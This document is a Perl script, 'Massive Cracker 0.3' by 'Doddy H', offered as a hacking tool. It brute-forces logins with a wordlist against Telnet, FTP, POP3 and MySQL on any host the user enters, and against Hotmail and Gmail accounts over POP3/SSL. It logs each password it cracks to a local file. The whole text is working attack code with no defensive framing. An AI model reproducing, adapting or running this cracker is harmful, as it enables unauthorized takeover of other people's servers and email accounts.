#!usr/bin/perl#Massive Cracker 0.3#Coded By Doddy H#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm#ppm install http://www.bribes.org/perl/ppm/DBI.ppd#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppduse Net::FTP;use Net::POP3;use Net::Telnet;use DBI;use Mail::POP3Client;use IO::Socket::SSL;head();print "[+] Option : ";chomp( my $op = <stdin> );if ( $op eq "1" ) { my ( $host, $user, $word ) = form1(); my @words = openwordlist($word); print "[+] Cracking service Telnet"; for my $pass (@words) { chomp $pass; $telnet = new Net::Telnet( Errmode => "return" ); $telnet->open($host); if ( $telnet->login( $user, $pass ) ) { yeah( $host, $user, $pass, "Telnet" ); } $telnet->close; } print "\n\n[-] Password Not Found\n";}elsif ( $op eq "2" ) { my ( $host, $user, $word ) = form1(); my @words = openwordlist($word); print "[+] Cracking service FTP"; for my $pass (@words) { chomp $pass; $ftp = Net::FTP->new($host); if ( $ftp->login( $user, $pass ) ) { yeah( $host, $user, $pass, "FTP" ); } $ftp->quit; } print "\n\n[-] Password Not Found\n";}elsif ( $op eq "3" ) { my ( $host, $user, $word ) = form1(); my @words = openwordlist($word); print "[+] Cracking service POP3"; for my $pass (@words) { chomp $pass; $pop = Net::POP3->new($host); if ( $pop->login( $user, $pass ) ) { yeah( $host, $user, $pass, "POP3" ); } $pop->quit(); } print "\n\n[-] Password Not Found\n";}elsif ( $op eq "4" ) { my ( $host, $user, $word ) = form1(); my @words = openwordlist($word); print "[+] Cracking service Mysql"; $target = "dbi:mysql::" . $host . ":3306"; for my $pass (@words) { chomp $pass; if ( my $now = DBI->connect( $target, $user, $pass, { PrintError => 0 } ) ) { yeah( $host, $user, $pass, "Mysql" ); } } print "\n\n[-] Password Not Found\n";}elsif ( $op eq "5" ) { my ( $user, $word ) = form2(); my @words = openwordlist($word); print "[+] Cracking account Hotmail"; for my $pass (@words) { chomp $pass; my $so = IO::Socket::SSL->new( PeerAddr => "pop3.live.com", PeerPort => 995, Proto => "tcp" ); my $nave = Mail::POP3Client->new(); $nave->User($user); $nave->Pass($pass); $nave->Socket($so); if ( $nave->Connect() ) { yeahmail( "Hotmail", $user, $pass ); } $so->close(); $nave->close(); }}elsif ( $op eq "6" ) { my ( $user, $word ) = form2(); my @words = openwordlist($word); print "[+] Cracking account Gmail"; for my $pass (@words) { chomp $pass; my $so = IO::Socket::SSL->new( PeerAddr => "pop.gmail.com", PeerPort => 995, Proto => "tcp" ); my $nave = Mail::POP3Client->new(); $nave->User($user); $nave->Pass($pass); $nave->Socket($so); if ( $nave->Connect() ) { yeahmail( "Gmail", $user, $pass ); } $so->close(); $nave->close(); }}else { print "\n\n[+] Bad Option\n";}copyright();sub yeah { print "\a\a\n\n[+] Cracked\n\n"; print "[Host] : $_[0]\n"; print "[User] : $_[1]\n"; print "[Password] : $_[2]\n"; savefile( "cracked-logs.txt", $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] ); copyright();}sub yeahmail { print "\a\a\n\n[+] Cracked\n\n"; print "[Account Type] : $_[0]\n"; print "[User] : $_[1]\n"; print "[Password] : $_[2]\n"; savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] ); copyright();}sub openwordlist { my $file = shift; print "\n[+] Opening file\n\n"; unless ( -f $file ) { print "\n[-] File not found\n"; copyright(); } print "[+] Reading file\n\n"; open( FILE, $file ); my @words = <FILE>; close FILE; print "[+] Words Found : " . int(@words) . "\n\n"; return @words;}sub savefile { open( SAVE, ">>" . $_[0] ); print SAVE $_[1] . "\n"; close SAVE;}sub form1 { print "\n[+] Host : "; chomp( my $host = <stdin> ); print "\n[+] User : "; chomp( my $user = <stdin> ); print "\n[+] Wordlist : "; chomp( my $word = <stdin> ); return ( $host, $user, $word );}sub form2 { print "\n[+] Email : "; chomp( my $email = <stdin> ); print "\n[+] Wordlist : "; chomp( my $word = <stdin> ); return ( $email, $word );}sub head { print qq( @ @ @@@@ @ @ @ @ @ @ @@ @@ @ @ @@ @@ @@@ @@ @@ @ @ @ @@@ @ @@ @@@ @@@ @ @ @@@ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @ @ @ @ @@@@@ @ @ @@@@ @ @@ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @@ @@ @ @ @@@ @@@@ @ @@@@ @@@ @ @ @@@ @ Coded By Doddy H[++] Services [1] : Telnet [2] : FTP [3] : POP3 [4] : Mysql [5] : Hotmail [6] : Gmail);}sub copyright { print "\n\n(C) Doddy Hackman 2012\n\n"; <stdin>; exit(1);}#The End ?